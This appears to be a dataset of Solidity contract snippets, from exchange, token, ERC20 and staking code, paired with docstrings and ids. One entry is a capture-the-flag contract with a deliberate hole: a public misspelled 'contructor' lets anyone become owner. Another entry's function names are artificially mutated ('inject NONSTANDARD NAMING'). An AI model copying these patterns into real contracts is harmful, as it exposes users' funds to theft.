calculateFee(gasFee, data, baseGet, orderHash, false, base == 0); updateUserBalance(data, isBuy, baseGet, tokenGet, fee, token, base); orderFills[orderHash] = orderFills[orderHash].add(tokenGet); remainingToken = _remainingToken.sub(tokenGet); baseExecute = _baseExecute.add(baseGet); if (tradeEventEnabled) { TradeSuccess( userId2Address[data & USER_MASK], baseGet, tokenGet, isBuy, fee ); } } function updateUserBalance( uint256 data, bool isBuy, uint256 baseGet, uint256 tokenGet, uint256 fee, address token, address base ) internal { address user = userId2Address[data & USER_MASK]; uint256 baseFee = fee; uint256 joyFee = 0; if ((base == 0 ? (data & JOY_PRICE_MASK) >> 164 : (data & TOKEN_JOY_PRICE_MASK) >> 64) != 0) { joyFee = fee; baseFee = 0; } if (isBuy) { // buy token, sell ether balances[base][user] = balances[base][user].sub(baseGet).sub(baseFee); balances[token][user] = balances[token][user].add(tokenGet); } else { balances[base][user] = balances[base][user].add(baseGet).sub(baseFee); balances[token][user] = balances[token][user].sub(tokenGet); } if (joyFee != 0) { balances[joyToken][user] = balances[joyToken][user].sub(joyFee); balances[joyToken][joysoWallet] = balances[joyToken][joysoWallet].add(joyFee); } else { balances[base][joysoWallet] = balances[base][joysoWallet].add(baseFee); } } function calculateFee( uint256 gasFee, uint256 data, uint256 baseGet, bytes32 orderHash, bool isTaker, bool isEthOrder ) internal view returns (uint256) { uint256 fee = orderFills[orderHash] == 0 ? gasFee : 0; uint256 txFee = baseGet.mul(isTaker ? (data & TAKER_FEE_MASK) >> 208 : (data & MAKER_FEE_MASK) >> 192) / 10000; uint256 joyPrice = isEthOrder ? (data & JOY_PRICE_MASK) >> 164 : (data & TOKEN_JOY_PRICE_MASK) >> 64; if (joyPrice != 0) { txFee = isEthOrder ? txFee / (10 ** 5) / joyPrice : txFee * (10 ** 12) / joyPrice; } return fee.add(txFee); } function calculateBaseGet( uint256 amountSell, uint256 amountBuy, bool isBuy, uint256 tokenGet ) internal pure returns (uint256) { return isBuy ? tokenGet.mul(amountSell) / amountBuy : tokenGet.mul(amountBuy) / amountSell; } function calculateTokenGet( uint256 amountSell, uint256 amountBuy, uint256 remainingToken, bool isBuy, bytes32 orderHash ) internal view returns (uint256) { uint256 makerRemainingToken = isBuy ? amountBuy : amountSell; makerRemainingToken = makerRemainingToken.sub(orderFills[orderHash]); require(makerRemainingToken > 0); // the maker order should remain something to trade return makerRemainingToken >= remainingToken ? remainingToken : makerRemainingToken; } }
give a new user an id, intrnal/
function addUser(address _address) internal { if (userAddress2Id[_address] != 0) { return; } userCount += 1; userAddress2Id[_address] = userCount; userId2Address[userCount] = _address; NewUser(_address, userCount); }
900,956
pragma solidity ^0.4.24; contract Ownable { event OwnerAdded(address); event OwnerRemoved(address); address public implementation; mapping (address => bool) public owners; modifier onlyOwner() { require(owners[msg.sender], "Must be an owner to call this function"); _; } /** Only called when contract is instantiated */ function contructor() public payable { require(msg.value == 0.5 ether, "Must send 0.5 Ether"); owners[msg.sender] = true; } /** Add an owner to the owners list * Only allow owners to add other owners */ function addOwner(address _owner) public onlyOwner { owners[_owner] = true; emit OwnerAdded(_owner); } /** Remove another owner * Only allow owners to remove other owners */ function removeOwner(address _owner) public onlyOwner { owners[_owner] = false; emit OwnerRemoved(_owner); } /** Remove all owners mapping and relinquish control of contract */ function renounceOwnership() public { assembly { sstore(owners_offset, 0x0) } } /** CTF helper function * Used to clean up contract and return funds */ function killContract() public onlyOwner { selfdestruct(msg.sender); } /** CTF helper function * Used to check if challenge is complete */ function isComplete() public view returns(bool) { return owners[tx.origin]; } }
CTF helper function Used to check if challenge is complete/
function isComplete() public view returns(bool) { return owners[tx.origin]; }
907,937
./partial_match/1/0xdefac16715671b7b6aeeFE012125f1E19Ee4b7d7/sources/_Voting.sol
Gets the text of a suggestion. Blockwell Exclusive (Intellectual Property that lives on-chain via Smart License)/
function getSuggestionText(uint256 suggestionId) public view returns (string memory) { return suggestions[suggestionId].text; }
2,630,721
pragma solidity 0.6.4; library SafeMath { function ADD513(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function SUB333(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return SUB333(a, b, "SafeMath: subtraction overflow"); } function SUB333(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b <= a, errorMessage); uint256 c = a - b; return c; } function MUL777(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function DIV708(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return DIV708(a, b, "SafeMath: division by zero"); } function DIV708(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function MOD901(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return MOD901(a, b, "SafeMath: modulo by zero"); } function MOD901(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b != 0, errorMessage); return a % b; } } //ERC20 Interface interface ERC20 { function TOTALSUPPLY540() external view returns (uint); //inject NONSTANDARD NAMING function BALANCEOF652(address account) external view returns (uint); //inject NONSTANDARD NAMING function TRANSFER970(address, uint) external returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE494(address owner, address spender) external view returns (uint); //inject NONSTANDARD NAMING function APPROVE631(address, uint) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM360(address, address, uint) external returns (bool); //inject NONSTANDARD NAMING event TRANSFER615(address indexed from, address indexed to, uint value); //inject NONSTANDARD NAMING event APPROVAL679(address indexed owner, address indexed spender, uint value); //inject NONSTANDARD NAMING } interface ASP { function SCALEDTOKEN908(uint amount) external returns(bool); //inject NONSTANDARD NAMING function TOTALFROZEN651() external view returns (uint256); //inject NONSTANDARD NAMING } interface OSP { function SCALEDTOKEN908(uint amount) external returns(bool); //inject NONSTANDARD NAMING function TOTALFROZEN651() external view returns (uint256); //inject NONSTANDARD NAMING } interface DSP { function SCALEDTOKEN908(uint amount) external returns(bool); //inject NONSTANDARD NAMING function TOTALFROZEN651() external view returns (uint256); //inject NONSTANDARD NAMING } interface USP { function SCALEDTOKEN908(uint amount) external returns(bool); //inject NONSTANDARD NAMING function TOTALFROZEN651() external view returns (uint256); //inject NONSTANDARD NAMING } //======================================AXIA CONTRACT=========================================// contract AXIATOKEN is ERC20 { using SafeMath for uint256; //======================================AXIA EVENTS=========================================// event NEWEPOCH943(uint epoch, uint emission, uint nextepoch); //inject NONSTANDARD NAMING event NEWDAY620(uint epoch, uint day, uint nextday); //inject NONSTANDARD NAMING event BURNEVENT793(address indexed pool, address indexed burnaddress, uint amount); //inject NONSTANDARD NAMING event EMISSIONS445(address indexed root, address indexed pool, uint value); //inject NONSTANDARD NAMING event TRIGREWARDEVENT417(address indexed root, address indexed receiver, uint value); //inject NONSTANDARD NAMING event BASISPOINTADDED271(uint value); //inject NONSTANDARD NAMING // ERC-20 Parameters string public name; string public symbol; uint public decimals; uint public startdecimal; uint public override totalSupply; uint public initialsupply; //======================================STAKING POOLS=========================================// address public lonePool; address public swapPool; address public DefiPool; address public OraclePool; address public burningPool; uint public pool1Amount; uint public pool2Amount; uint public pool3Amount; uint public pool4Amount; uint public poolAmountTrig; uint public TrigAmount; // ERC-20 Mappings mapping(address => uint) public override balanceOf; mapping(address => mapping(address => uint)) public override allowance; // Public Parameters uint crypto; uint startcrypto; uint public emission; uint public currentEpoch; uint public currentDay; uint public daysPerEpoch; uint public secondsPerDay; uint public genesis; uint public nextEpochTime; uint public nextDayTime; uint public amountToEmit; uint public BPE; //======================================BASIS POINT VARIABLES=========================================// uint public bpValue; uint public actualValue; uint public TrigReward; uint public burnAmount; address administrator; uint totalEmitted; uint256 public pool1percentage = 3500; uint256 public pool2percentage = 6500; uint256 public pool3percentage = 0; uint256 public pool4percentage = 0; uint256 public trigRewardpercentage = 20; address public messagesender; // Public Mappings mapping(address=>bool) public Address_Whitelisted; mapping(address=>bool) public emission_Whitelisted; //=====================================CREATION=========================================// // Constructor constructor() public { name = "AXIA TOKEN (axiaprotocol.io)"; symbol = "AXIA-V2"; decimals = 18; startdecimal = 16; crypto = 1*10**decimals; startcrypto = 1*10**startdecimal; totalSupply = 3000000*crypto; initialsupply = 50203125*startcrypto; emission = 7200*crypto; currentEpoch = 1; currentDay = 1; genesis = now; daysPerEpoch = 180; secondsPerDay = 86400; administrator = msg.sender; balanceOf[administrator] = initialsupply; emit TRANSFER615(administrator, address(this), initialsupply); nextEpochTime = genesis + (secondsPerDay * daysPerEpoch); nextDayTime = genesis + secondsPerDay; Address_Whitelisted[administrator] = true; emission_Whitelisted[administrator] = true; } //========================================CONFIGURATIONS=========================================// function POOLCONFIGS254(address _axia, address _swap, address _defi, address _oracle) public ONLYADMINISTRATOR398 returns (bool success) { //inject NONSTANDARD NAMING lonePool = _axia; swapPool = _swap; DefiPool = _defi; OraclePool = _oracle; return true; } function BURNINGPOOLCONFIGS857(address _pooladdress) public ONLYADMINISTRATOR398 returns (bool success) { //inject NONSTANDARD NAMING burningPool = _pooladdress; return true; } modifier ONLYADMINISTRATOR398() { //inject NONSTANDARD NAMING require(msg.sender == administrator, "Ownable: caller is not the owner"); _; } modifier ONLYBURNINGPOOL846() { //inject NONSTANDARD NAMING require(msg.sender == burningPool, "Authorization: Only the pool that allows burn can call on this"); _; } function WHITELIST367(address _address) public ONLYADMINISTRATOR398 returns (bool success) { //inject NONSTANDARD NAMING Address_Whitelisted[_address] = true; return true; } function UNWHITELIST620(address _address) public ONLYADMINISTRATOR398 returns (bool success) { //inject NONSTANDARD NAMING Address_Whitelisted[_address] = false; return true; } function SECONDANDDAY486(uint _secondsperday, uint _daysperepoch) public ONLYADMINISTRATOR398 returns (bool success) { //inject NONSTANDARD NAMING secondsPerDay = _secondsperday; daysPerEpoch = _daysperepoch; return true; } function NEXTEPOCH634(uint _nextepoch) public ONLYADMINISTRATOR398 returns (bool success) { //inject NONSTANDARD NAMING nextEpochTime = _nextepoch; return true; } function WHITELISTONEMISSION926(address _address) public ONLYADMINISTRATOR398 returns (bool success) { //inject NONSTANDARD NAMING emission_Whitelisted[_address] = true; return true; } function UNWHITELISTONEMISSION923(address _address) public ONLYADMINISTRATOR398 returns (bool success) { //inject NONSTANDARD NAMING emission_Whitelisted[_address] = false; return true; } function SUPPLYEFFECT299(uint _amount) public ONLYBURNINGPOOL846 returns (bool success) { //inject NONSTANDARD NAMING totalSupply -= _amount; emit BURNEVENT793(burningPool, address(0x0), _amount); return true; } function POOLPERCENTAGES32(uint _p1, uint _p2, uint _p3, uint _p4, uint trigRe) public ONLYADMINISTRATOR398 returns (bool success) { //inject NONSTANDARD NAMING pool1percentage = _p1; pool2percentage = _p2; pool3percentage = _p3; pool4percentage = _p4; trigRewardpercentage = trigRe; return true; } function BURN409(uint _amount) public returns (bool success) { //inject NONSTANDARD NAMING require(balanceOf[msg.sender] >= _amount, "You do not have the amount of tokens you wanna burn in your wallet"); balanceOf[msg.sender] -= _amount; totalSupply -= _amount; emit BURNEVENT793(msg.sender, address(0x0), _amount); return true; } //========================================ERC20=========================================// // ERC20 Transfer function function TRANSFER970(address to, uint value) public override returns (bool success) { //inject NONSTANDARD NAMING _TRANSFER893(msg.sender, to, value); return true; } // ERC20 Approve function function APPROVE631(address spender, uint value) public override returns (bool success) { //inject NONSTANDARD NAMING allowance[msg.sender][spender] = value; emit APPROVAL679(msg.sender, spender, value); return true; } // ERC20 TransferFrom function function TRANSFERFROM360(address from, address to, uint value) public override returns (bool success) { //inject NONSTANDARD NAMING require(value <= allowance[from][msg.sender], 'Must not send more than allowance'); allowance[from][msg.sender] -= value; _TRANSFER893(from, to, value); return true; } // Internal transfer function which includes the Fee function _TRANSFER893(address _from, address _to, uint _value) private { //inject NONSTANDARD NAMING messagesender = msg.sender; //this is the person actually making the call on this function require(balanceOf[_from] >= _value, 'Must not send more than balance'); require(balanceOf[_to] + _value >= balanceOf[_to], 'Balance overflow'); balanceOf[_from] -= _value; if(Address_Whitelisted[msg.sender]){ //if the person making the transaction is whitelisted, the no burn on the transaction actualValue = _value; }else{ bpValue = MULDIV437(_value, 15, 10000); //this is 0.15% for basis point actualValue = _value - bpValue; //this is the amount to be sent balanceOf[address(this)] += bpValue; //this is adding the basis point charged to this contract emit TRANSFER615(_from, address(this), bpValue); BPE += bpValue; //this is increasing the virtual basis point amount emit BASISPOINTADDED271(bpValue); } if(emission_Whitelisted[messagesender] == false){ //this is so that staking and unstaking will not trigger the emission if(now >= nextDayTime){ amountToEmit = EMITTINGAMOUNT277(); pool1Amount = MULDIV437(amountToEmit, pool1percentage, 10000); pool2Amount = MULDIV437(amountToEmit, pool2percentage, 10000); pool3Amount = MULDIV437(amountToEmit, pool3percentage, 10000); pool4Amount = MULDIV437(amountToEmit, pool4percentage, 10000); poolAmountTrig = MULDIV437(amountToEmit, trigRewardpercentage, 10000); TrigAmount = poolAmountTrig.DIV708(2); pool1Amount = pool1Amount.SUB333(TrigAmount); pool2Amount = pool2Amount.SUB333(TrigAmount); TrigReward = poolAmountTrig; uint Ofrozenamount = OSPFROZEN518(); uint Dfrozenamount = DSPFROZEN371(); uint Ufrozenamount = USPFROZEN964(); uint Afrozenamount = ASPFROZEN926(); if(Ofrozenamount > 0){ OSP(OraclePool).SCALEDTOKEN908(pool4Amount); balanceOf[OraclePool] += pool4Amount; emit TRANSFER615(address(this), OraclePool, pool4Amount); }else{ balanceOf[address(this)] += pool4Amount; emit TRANSFER615(address(this), address(this), pool4Amount); BPE += pool4Amount; } if(Dfrozenamount > 0){ DSP(DefiPool).SCALEDTOKEN908(pool3Amount); balanceOf[DefiPool] += pool3Amount; emit TRANSFER615(address(this), DefiPool, pool3Amount); }else{ balanceOf[address(this)] += pool3Amount; emit TRANSFER615(address(this), address(this), pool3Amount); BPE += pool3Amount; } if(Ufrozenamount > 0){ USP(swapPool).SCALEDTOKEN908(pool2Amount); balanceOf[swapPool] += pool2Amount; emit TRANSFER615(address(this), swapPool, pool2Amount); }else{ balanceOf[address(this)] += pool2Amount; emit TRANSFER615(address(this), address(this), pool2Amount); BPE += pool2Amount; } if(Afrozenamount > 0){ ASP(lonePool).SCALEDTOKEN908(pool1Amount); balanceOf[lonePool] += pool1Amount; emit TRANSFER615(address(this), lonePool, pool1Amount); }else{ balanceOf[address(this)] += pool1Amount; emit TRANSFER615(address(this), address(this), pool1Amount); BPE += pool1Amount; } nextDayTime += secondsPerDay; currentDay += 1; emit NEWDAY620(currentEpoch, currentDay, nextDayTime); //reward the wallet that triggered the EMISSION balanceOf[_from] += TrigReward; //this is rewardig the person that triggered the emission emit TRANSFER615(address(this), _from, TrigReward); emit TRIGREWARDEVENT417(address(this), msg.sender, TrigReward); } } balanceOf[_to] += actualValue; emit TRANSFER615(_from, _to, actualValue); } //======================================EMISSION========================================// // Internal - Update emission function function EMITTINGAMOUNT277() internal returns(uint){ //inject NONSTANDARD NAMING if(now >= nextEpochTime){ currentEpoch += 1; //if it is greater than the nextEpochTime, then it means we have entered the new epoch, //thats why we are adding 1 to it, meaning new epoch emission if(currentEpoch > 10){ emission = BPE; BPE -= emission.DIV708(2); balanceOf[address(this)] -= emission.DIV708(2); } emission = emission/2; nextEpochTime += (secondsPerDay * daysPerEpoch); emit NEWEPOCH943(currentEpoch, emission, nextEpochTime); } return emission; } function OSPFROZEN518() public view returns(uint){ //inject NONSTANDARD NAMING return OSP(OraclePool).TOTALFROZEN651(); } function DSPFROZEN371() public view returns(uint){ //inject NONSTANDARD NAMING return DSP(DefiPool).TOTALFROZEN651(); } function USPFROZEN964() public view returns(uint){ //inject NONSTANDARD NAMING return USP(swapPool).TOTALFROZEN651(); } function ASPFROZEN926() public view returns(uint){ //inject NONSTANDARD NAMING return ASP(lonePool).TOTALFROZEN651(); } function MULDIV437 (uint x, uint y, uint z) public pure returns (uint) { //inject NONSTANDARD NAMING (uint l, uint h) = FULLMUL882 (x, y); assert (h < z); uint mm = mulmod (x, y, z); if (mm > l) h -= 1; l -= mm; uint pow2 = z & -z; z /= pow2; l /= pow2; l += h * ((-pow2) / pow2 + 1); uint r = 1; r *= 2 - z * r; r *= 2 - z * r; r *= 2 - z * r; r *= 2 - z * r; r *= 2 - z * r; r *= 2 - z * r; r *= 2 - z * r; r *= 2 - z * r; return l * r; } function FULLMUL882 (uint x, uint y) private pure returns (uint l, uint h) { //inject NONSTANDARD NAMING uint mm = mulmod (x, y, uint (-1)); l = x * y; h = mm - l; if (mm < l) h -= 1; } }
inject NONSTANDARD NAMING
function TRANSFERFROM360(address from, address to, uint value) public override returns (bool success) {
1,791,757
./partial_match/42/0x85C6e36E17e5117EfE97E58ACd0A7C904BD1332e/sources/TokenBase.sol
Sets a new Manager/
function setManager(address newManager) public onlyManager { manager = newManager; }
3,476,241
./full_match/1/0xa97D21Bc42397262d00d6bE97a66e46dd2e888B2/sources/contracts/erc20/SafeERC20.sol
Safely increases the allowance of a spender. Increases with safe math check. Checks if the increased allowance will overflow, if yes, then it reverts the transaction. Then uses `forceApprove` to increase the allowance. token The IERC20 token contract on which the call will be made. spender The address which will spend the funds. value The amount of tokens to increase the allowance by./
function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 allowance = token.allowance(address(this), spender); if (value > type(uint256).max - allowance) revert SafeIncreaseAllowanceFailed(); forceApprove(token, spender, allowance + value); }
8,357,388
/** *Submitted for verification at Etherscan.io on 2022-01-18 */ pragma solidity 0.6.12; // SPDX-License-Identifier: GPL-3.0-only /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IStafiStorage { // Getters function getAddress(bytes32 _key) external view returns (address); function getUint(bytes32 _key) external view returns (uint); function getString(bytes32 _key) external view returns (string memory); function getBytes(bytes32 _key) external view returns (bytes memory); function getBool(bytes32 _key) external view returns (bool); function getInt(bytes32 _key) external view returns (int); function getBytes32(bytes32 _key) external view returns (bytes32); // Setters function setAddress(bytes32 _key, address _value) external; function setUint(bytes32 _key, uint _value) external; function setString(bytes32 _key, string calldata _value) external; function setBytes(bytes32 _key, bytes calldata _value) external; function setBool(bytes32 _key, bool _value) external; function setInt(bytes32 _key, int _value) external; function setBytes32(bytes32 _key, bytes32 _value) external; // Deleters function deleteAddress(bytes32 _key) external; function deleteUint(bytes32 _key) external; function deleteString(bytes32 _key) external; function deleteBytes(bytes32 _key) external; function deleteBool(bytes32 _key) external; function deleteInt(bytes32 _key) external; function deleteBytes32(bytes32 _key) external; } abstract contract StafiBase { // Version of the contract uint8 public version; // The main storage contract where primary persistant storage is maintained IStafiStorage stafiStorage = IStafiStorage(0); /** * @dev Throws if called by any sender that doesn't match a network contract */ modifier onlyLatestNetworkContract() { require(getBool(keccak256(abi.encodePacked("contract.exists", msg.sender))), "Invalid or outdated network contract"); _; } /** * @dev Throws if called by any sender that doesn't match one of the supplied contract or is the latest version of that contract */ modifier onlyLatestContract(string memory _contractName, address _contractAddress) { require(_contractAddress == getAddress(keccak256(abi.encodePacked("contract.address", _contractName))), "Invalid or outdated contract"); _; } /** * @dev Throws if called by any sender that isn't a trusted node */ modifier onlyTrustedNode(address _nodeAddress) { require(getBool(keccak256(abi.encodePacked("node.trusted", _nodeAddress))), "Invalid trusted node"); _; } /** * @dev Throws if called by any sender that isn't a registered staking pool */ modifier onlyRegisteredStakingPool(address _stakingPoolAddress) { require(getBool(keccak256(abi.encodePacked("stakingpool.exists", _stakingPoolAddress))), "Invalid staking pool"); _; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(roleHas("owner", msg.sender), "Account is not the owner"); _; } /** * @dev Modifier to scope access to admins */ modifier onlyAdmin() { require(roleHas("admin", msg.sender), "Account is not an admin"); _; } /** * @dev Modifier to scope access to admins */ modifier onlySuperUser() { require(roleHas("owner", msg.sender) || roleHas("admin", msg.sender), "Account is not a super user"); _; } /** * @dev Reverts if the address doesn't have this role */ modifier onlyRole(string memory _role) { require(roleHas(_role, msg.sender), "Account does not match the specified role"); _; } /// @dev Set the main Storage address constructor(address _stafiStorageAddress) public { // Update the contract address stafiStorage = IStafiStorage(_stafiStorageAddress); } /// @dev Get the address of a network contract by name function getContractAddress(string memory _contractName) internal view returns (address) { // Get the current contract address address contractAddress = getAddress(keccak256(abi.encodePacked("contract.address", _contractName))); // Check it require(contractAddress != address(0x0), "Contract not found"); // Return return contractAddress; } /// @dev Get the name of a network contract by address function getContractName(address _contractAddress) internal view returns (string memory) { // Get the contract name string memory contractName = getString(keccak256(abi.encodePacked("contract.name", _contractAddress))); // Check it require(keccak256(abi.encodePacked(contractName)) != keccak256(abi.encodePacked("")), "Contract not found"); // Return return contractName; } /// @dev Storage get methods function getAddress(bytes32 _key) internal view returns (address) { return stafiStorage.getAddress(_key); } function getUint(bytes32 _key) internal view returns (uint256) { return stafiStorage.getUint(_key); } function getString(bytes32 _key) internal view returns (string memory) { return stafiStorage.getString(_key); } function getBytes(bytes32 _key) internal view returns (bytes memory) { return stafiStorage.getBytes(_key); } function getBool(bytes32 _key) internal view returns (bool) { return stafiStorage.getBool(_key); } function getInt(bytes32 _key) internal view returns (int256) { return stafiStorage.getInt(_key); } function getBytes32(bytes32 _key) internal view returns (bytes32) { return stafiStorage.getBytes32(_key); } function getAddressS(string memory _key) internal view returns (address) { return stafiStorage.getAddress(keccak256(abi.encodePacked(_key))); } function getUintS(string memory _key) internal view returns (uint256) { return stafiStorage.getUint(keccak256(abi.encodePacked(_key))); } function getStringS(string memory _key) internal view returns (string memory) { return stafiStorage.getString(keccak256(abi.encodePacked(_key))); } function getBytesS(string memory _key) internal view returns (bytes memory) { return stafiStorage.getBytes(keccak256(abi.encodePacked(_key))); } function getBoolS(string memory _key) internal view returns (bool) { return stafiStorage.getBool(keccak256(abi.encodePacked(_key))); } function getIntS(string memory _key) internal view returns (int256) { return stafiStorage.getInt(keccak256(abi.encodePacked(_key))); } function getBytes32S(string memory _key) internal view returns (bytes32) { return stafiStorage.getBytes32(keccak256(abi.encodePacked(_key))); } /// @dev Storage set methods function setAddress(bytes32 _key, address _value) internal { stafiStorage.setAddress(_key, _value); } function setUint(bytes32 _key, uint256 _value) internal { stafiStorage.setUint(_key, _value); } function setString(bytes32 _key, string memory _value) internal { stafiStorage.setString(_key, _value); } function setBytes(bytes32 _key, bytes memory _value) internal { stafiStorage.setBytes(_key, _value); } function setBool(bytes32 _key, bool _value) internal { stafiStorage.setBool(_key, _value); } function setInt(bytes32 _key, int256 _value) internal { stafiStorage.setInt(_key, _value); } function setBytes32(bytes32 _key, bytes32 _value) internal { stafiStorage.setBytes32(_key, _value); } function setAddressS(string memory _key, address _value) internal { stafiStorage.setAddress(keccak256(abi.encodePacked(_key)), _value); } function setUintS(string memory _key, uint256 _value) internal { stafiStorage.setUint(keccak256(abi.encodePacked(_key)), _value); } function setStringS(string memory _key, string memory _value) internal { stafiStorage.setString(keccak256(abi.encodePacked(_key)), _value); } function setBytesS(string memory _key, bytes memory _value) internal { stafiStorage.setBytes(keccak256(abi.encodePacked(_key)), _value); } function setBoolS(string memory _key, bool _value) internal { stafiStorage.setBool(keccak256(abi.encodePacked(_key)), _value); } function setIntS(string memory _key, int256 _value) internal { stafiStorage.setInt(keccak256(abi.encodePacked(_key)), _value); } function setBytes32S(string memory _key, bytes32 _value) internal { stafiStorage.setBytes32(keccak256(abi.encodePacked(_key)), _value); } /// @dev Storage delete methods function deleteAddress(bytes32 _key) internal { stafiStorage.deleteAddress(_key); } function deleteUint(bytes32 _key) internal { stafiStorage.deleteUint(_key); } function deleteString(bytes32 _key) internal { stafiStorage.deleteString(_key); } function deleteBytes(bytes32 _key) internal { stafiStorage.deleteBytes(_key); } function deleteBool(bytes32 _key) internal { stafiStorage.deleteBool(_key); } function deleteInt(bytes32 _key) internal { stafiStorage.deleteInt(_key); } function deleteBytes32(bytes32 _key) internal { stafiStorage.deleteBytes32(_key); } function deleteAddressS(string memory _key) internal { stafiStorage.deleteAddress(keccak256(abi.encodePacked(_key))); } function deleteUintS(string memory _key) internal { stafiStorage.deleteUint(keccak256(abi.encodePacked(_key))); } function deleteStringS(string memory _key) internal { stafiStorage.deleteString(keccak256(abi.encodePacked(_key))); } function deleteBytesS(string memory _key) internal { stafiStorage.deleteBytes(keccak256(abi.encodePacked(_key))); } function deleteBoolS(string memory _key) internal { stafiStorage.deleteBool(keccak256(abi.encodePacked(_key))); } function deleteIntS(string memory _key) internal { stafiStorage.deleteInt(keccak256(abi.encodePacked(_key))); } function deleteBytes32S(string memory _key) internal { stafiStorage.deleteBytes32(keccak256(abi.encodePacked(_key))); } /** * @dev Check if an address has this role */ function roleHas(string memory _role, address _address) internal view returns (bool) { return getBool(keccak256(abi.encodePacked("access.role", _role, _address))); } } // Represents the type of deposits enum DepositType { None, // Marks an invalid deposit type FOUR, // Require 4 ETH from the node operator to be matched with 28 ETH from user deposits EIGHT, // Require 8 ETH from the node operator to be matched with 24 ETH from user deposits TWELVE, // Require 12 ETH from the node operator to be matched with 20 ETH from user deposits SIXTEEN, // Require 16 ETH from the node operator to be matched with 16 ETH from user deposits Empty // Require 0 ETH from the node operator to be matched with 32 ETH from user deposits (trusted nodes only) } // Represents a stakingpool's status within the network enum StakingPoolStatus { Initialized, // The stakingpool has been initialized and is awaiting a deposit of user ETH Prelaunch, // The stakingpool has enough ETH to begin staking and is awaiting launch by the node Staking, // The stakingpool is currently staking Withdrawn, // The stakingpool has been withdrawn from by the node Dissolved // The stakingpool has been dissolved and its user deposited ETH has been returned to the deposit pool } interface IStafiStakingPool { function getStatus() external view returns (StakingPoolStatus); function getStatusBlock() external view returns (uint256); function getStatusTime() external view returns (uint256); function getDepositType() external view returns (DepositType); function getNodeAddress() external view returns (address); function getNodeFee() external view returns (uint256); function getNodeDepositBalance() external view returns (uint256); function getNodeRefundBalance() external view returns (uint256); function getNodeDepositAssigned() external view returns (bool); function getNodeCommonlyRefunded() external view returns (bool); function getNodeTrustedRefunded() external view returns (bool); function getUserDepositBalance() external view returns (uint256); function getUserDepositAssigned() external view returns 